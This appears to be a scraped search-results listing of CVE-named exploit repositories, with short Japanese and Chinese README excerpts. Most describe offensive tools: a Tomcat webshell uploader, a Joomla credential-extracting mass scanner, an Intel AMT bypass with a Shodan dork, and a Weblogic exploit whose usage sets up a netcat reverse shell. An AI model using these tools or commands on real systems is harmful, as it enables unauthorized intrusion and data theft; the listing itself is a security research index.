1303275 matches found
Microsoft-CVE-2021-1675
Microsoft-CVE-2021-1675 CVE-2021-1675 の脆弱性を悪用する小さな C プロジェクトを作成しました。 CVE-2021-1675 の詳細については、私のブログ記事をご確認ください： https://thalpius.com/2021/07/16/windows-print-spooler-elevation-of-privilege-vulnerability-cve-2021-1675-explained 使用方法 Microsoft CVE-2021-1675 root@kitploit: CVE-2021-1675.exe...
Embarcadero-Workaround
Embarcadero Workaroundとは何ですか？ これは「Embarcadero VCLライブラリのスタック/ヒープオーバーフロー」CVE-2014-0993およびCVE-2014-0994に対する非公式の「パッチ」です。 このワークアラウンドはどのソフトウェアバージョンをサポートしていますか？ 「VCLライブラリ」が含まれており、そのライブラリがメインの実行ファイルに静的にリンクされている限り、DelphiおよびC++ Builderでコンパイルされた32ビットソフトウェアをサポートします。 このワークアラウンドを使用するにはインストールが必要ですか？ インストールは不要です...
CVE-2024-50379
手動での悪用は面倒なので、expをでっち上げました。。 使い方： shell.jspはシェルファイル、ggsl.jspはターゲットサーバーに保存する名前/パスです。 ./CVE-2024-50379 -u http://192.168.2.245:8080 -f shell.jsp -p ggsl.jsp 免責事項 本ツールは正規に許可された 企業のセキュリティ構築行為のみを対象としています。本ツールの可用性をテストする必要がある場合は、ご自身で標的環境を構築してください。...
CVE-2018-3252
CVE-2018-3252 Weblogic-CVE-2018-3252...
url-regex-safe
url-regex-safe URL にマッチする正規表現。メンテナンス済みで安全、ブラウザ対応版の url-regex です。CVE-2020-7661 を Node.js サーバー向けに解決します。Node v14+ とブラウザで動作します。Spam Scanner と Forward Email のためにメンテナンスされています。 目次 はじめに インストール 使用方法 Node での使用 ブラウザでの使用 オプション クイックヒントと url-regex からの移行 制限事項 コントリビューター ライセンス はじめに CVE-2020-7661 を発見し、公に開示した後（Spam...
CVE-2020-14645
CVE-2020-14645 Weblogic Server CVE-2020-14645 Python用EXP（ワンステップで完了） 使用方法: Python3 exploit.py -t -c ヒント: エコーなし 例： nc -lvnp 4444 Python3 exploit.py -t 192.168.0.14 -c 'nc 192.168.0.15 4444' すると、シェルを取得できます。...
CVE-2023-0315
CVE-2023-0315 Froxlor Remote Code Execution CVE-2023-0315 の公式エクスプロイト...
agx-exploit
CVE-2022-32947 プレゼンテーションとデモ Lina と Cyan によるライブストリームプレゼンテーションを視聴するには、こちらをクリック！！！ ✨ 日本語の配信はこちら！！ ✨...
exploit-CVE-2014-6271
Shellshock 漏洞利用 + 易受攻击环境 Shellshock，又称 Bashdoor，是一系列广泛使用的 Unix Bash shell 中的安全漏洞，其中第一个漏洞于 2014 年 9 月 24 日被披露。许多面向互联网的服务（例如某些 Web 服务器部署）使用 Bash 处理特定请求，从而允许攻击者诱使存在漏洞的 Bash 版本执行任意命令。这可使攻击者未经授权访问计算机系统。 运行易受攻击环境 你需要安装 docker 才能运行该环境，请前往 docker.com 安装（如果尚未安装）。 要启动易受攻击环境，只需运行 root@kitploit: docker run...
es_inject
CVE-2014-3120 Elastic Search 远程代码执行 该项目演示了 CVE-2014-3120 漏洞/配置错误。它允许您读取和追加文件到托管 Elasticsearch 的系统上，前提是运行 ES 的用户拥有对这些文件的访问权限。 注意 此漏洞利用不需要 Web 服务器。将其保存到本地，然后从浏览器中运行即可。 漏洞发现和发布归功于：@BvdBijl - http://bouk.co/blog/elasticsearch-rce/...
CVE-2026-4020
このリポジトリには README がありません。...
OpenSSL-1_0_1g_CVE-2015-1790
OpenSSL 1.0.1g 2014年4月7日 版权所有 c 1998-2011 The OpenSSL Project 版权所有 c 1995-1998 Eric A. Young, Tim J. Hudson 保留所有权利。 描述 OpenSSL项目是一项协作努力，旨在开发一个健壮、商业级、功能齐全的开源工具包，实现安全套接层（SSL v2/v3）和传输层安全（TLS v1）协议，以及一个全功能的通用密码库。该项目由一个全球志愿者社区管理，他们通过互联网进行沟通、规划和开发OpenSSL工具包及其相关文档。 OpenSSL基于Eric A. Young和Tim J...
malware-samples
malware-samples マルウェアサンプルと関連する解析情報のコレクションです。おそらく、http://blog.inquest.net または https://twitter.com/inquest から参照されています。また、https://labs.inquest.net の Deep File Inspection（DFI）セクションもぜひご確認ください。ダウンロード可能なマルウェアの囮（50万件以上）の大規模なコーパスをインタラクティブに検索できるインターフェースが用意されています。 CVE-2018-4878-Adobe-Flash-DRM-UAF-0day...
CVE-2018-1273
CVE-2018-1273 CVE-2018-1273 の環境 CVE-2018-1273: Spring Data Commons における RCE https://pivotal.io/security/cve-2018-1273 アプリケーション https://github.com/spring-projects/spring-data-examples/tree/master/web/example ビルド root@kitploit: $ docker build -t cve-2018-1273 . 実行 root@kitploit: $ docker run -d -p...
CVE-2017-5689-Checker
CVE-2017-5689-Checker これはCVE-2017-5689脆弱性の自動チェッカー兼エクスプロイトです。 この脆弱性はIntel AMTパネルの認証バイパスに関連しています。 記事：https://habr.com/ru/post/328232 私たちのTelegram = t.me/anarchysquad Shodan dork: root@kitploit: port: "16992" intel P.S.: Sh0dan-Searchを使用してIPアドレスを収集してください。 インストール: root@kitploit: apt install python ap...
CVE-2023-23752
CVE-2023-23752 这是针对 CVE-2023-23752 漏洞的概念验证代码。它允许攻击者从目标应用程序中提取敏感信息，如用户名、密码和数据库名称。 批量扫描器 + 获取配置 + 从 CVE-2023-23752 获取目标 IP 截图 安装 克隆此仓库 安装依赖 root@kitploit: git clone https://github.com/MrP4nda1337/CVE-2023-23752 root@kitploit: cd CVE-2023-23752 root@kitploit: pip3 install -r requirements.txt...
Zabbix---CVE-2024-42327
このリポジトリには README がありません。...
frameworks_base_AOSP10_r33_CVE-2023-20963
このリポジトリには README がありません。...
CVE-2017-7269
CVE 2017.7269 PoC 目录 CVE 2017.7269 PoC 目录 作者 摘要 什么是 Microsoft IIS？ 什么是 Microsft Windows Server？ 什么是 WebDAV？ 描述 用法： 参考资料与发现者 作者 NoexDevPen - Beacons 个人主页 mag4no10 - Beacons 个人主页 摘要 什么是 Microsoft IIS？ Internet Information Services IIS 是微软推出的一款灵活、通用的 Web 服务器，运行在 Windows 系统上，用于提供所请求的 HTML 页面或文件。IIS W...